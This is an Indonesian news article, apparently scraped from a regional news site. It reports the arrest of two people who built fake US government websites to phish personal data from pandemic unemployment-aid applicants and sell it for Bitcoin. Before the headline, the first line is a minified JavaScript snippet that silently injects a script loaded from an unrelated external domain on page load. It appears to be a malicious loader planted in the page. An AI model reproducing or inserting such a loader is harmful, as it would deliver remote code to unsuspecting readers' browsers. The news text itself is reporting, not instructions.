(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Hacker di Indonesia Bobol Data Pemohon Bansos AS, Dapat Duit Banyak


KANALKALIMANTAN.COM, SURABAYA – Kepolisian Daerah Jawa Timur membekuk dua tersangka pembuat scampage atau website palsu yang menyerupai laman resmi pemerintah Amerika Serikat.

Laman itu digunakan untuk menipu dan membobol data warga AS pemohon dana bantuan sosial bagi korban dampak pandemi di AS atau Pandemic Unemployment Assistance (PUA). Data para warga AS di laman itu selanjutnya dijual.

Dari kejahatan kedua tersangka selama hampir setahun itu, mereka disebut mendapat keuntungan sedikitnya hampir setengah miliar rupiah.

Baca juga: Dua Hari, 3 Warga Banjarbaru Meninggal Karena Covid-19

 

Kapolda Jatim Irjen Pol Nico Afinta mengungkapkan aksi kedua tersangka tersebut diketahui tim penyidik Ditreskrimsus Polda Jatim pada 1 Maret 2021 di salah satu kamar hotel di Surabaya Selatan.

“Kedua tersangka yang terlibat berinisial SFR (penyebar scampage) dan MZMSBP (pembuat scampage). Sedangkan korban adalah orang yang mengisi data pribadinya ke dalam scampage atau website palsu, khususnya Warga negara Amerika,” kata Nico, seperti yang disiarkan di laman Polres Mojokerto Kamis (15/04).

Menurut dia, keuntungan yang didapat tersangka berupa mata uang krypto Bitcoin yang bisa dikonversikan menjadi mata uang rupiah, yang diberikan oleh tersangka lain berinisial S – warga India dan masuk dalam Daftar Pencarian Orang (DPO).

Perbuatan kedua tersangka yang dibongkar polisi tersebut atas permintaan S.
“Menurut percakapan mereka, data pribadi tersebut digunakan oleh S untuk mencairkan dana PUA (Pandemic Unemployment Assistance) atau dana bantuan untuk pengangguran warga negara Amerika senilai US$2.000 setiap satu data orang, dan juga untuk dijual lagi seharga US$100 setiap satu data orang,” tambahnya.

Baca juga: Simpan Sabu dan Ekstasi, Buruh Bangunan di Banjarmasin Dicokok Polisi

Data pribadi milik warga negara Amerika yang telah didapatkan oleh tersangka SFR dan telah diberikan kepada S via percakapan Whatsapp dan Telegram sekitar 30.000 data.

“Keuntungan yang diterima tersangka SFR selama melakukan perbuatan tersebut kurang lebih sebesar US$30.000, atau sekitar Rp420.000.000,” ungkap Kapolda.
Sedangkan keuntungan yang telah diterima oleh tersangka MZMSBP selama melakukan perbuatan tersebut sekitar Rp60.000.000.

Bagaimana kasus ini terbongkar?

Terbongkarnya kasus itu berawal pada 1 Maret 2021 ketika petugas Siber Ditreskrimsus Polda Jatim mendapati adanya kegiatan penyebaran scampage alias website palsu yang menyerupai website resmi pemerintahan Amerika melalui SMS, yang dilakukan oleh tersangka SFR.

Dalam perangkat laptop dan ponselnya ditemukan bukti-bukti scampage dan juga data-data pribadi milik warga AS yang didapatkan dari penyebaran scampage tersebut.

Baca juga: BREAKING NEWS: Laki-laki Tak Bernyawa Ditemukan dalam Hotel di Banjarmasin

Selanjutnya petugas Siber Polda Jatim menemukan tersangka MZMSBP di dekat Stasiun Kereta Api Pasar Turi Surabaya, lalu menemukan adanya script scampage/website palsu yang tersimpan di dalam laptopnya,” ungkap Kapolda.
Kedua tersangka mengaku membuat website palsu secara otodidak. Mereka beraksi dari Mei tahun sampai akhirnya dibekuk polisi.

Kapolda mengungkapkan tim siber Polda Jatim melakukan penyelidikan selama tiga bulan, berkoordinasi dengan Mabes Polri dan FBI. “Setelah mendapatkan bukti, baru keduanya ditangkap,” terang Nico.

Baca juga: Satpol PP Banjarmasin Bakal Tertibkan Warung Sakadup dan Manusia Gerobak Selama Ramadhan

Menurut Nico kepada media, para tersangka membuat 14 website palsu kemudian mengirim SMS berisi tautan web palsu itu ke banyak nomor warga Amerika. Korban yang tidak sadar mengisi data di website tersebut, ungkap Kapolda.

Kedua tersangka diganjar Pasal 32 ayat (2) Jo pasal 48 ayat (2) UU RI nomor 19 tahun 2016 tentang perubahan atas UU nomor 11 tahun 2008 tentang Informasi dan Transaksi Elektronik Jo pasal 55 ayat (1) KUHP, dengan ancaman hukuman 9 tahun penjara dan/atau denda paling banyak Rp3 miliar. (suara.com)

Editor : kk


Al Ghifari

Recent Posts

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

3 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

4 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

5 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

7 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

7 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

10 jam ago

This website uses cookies.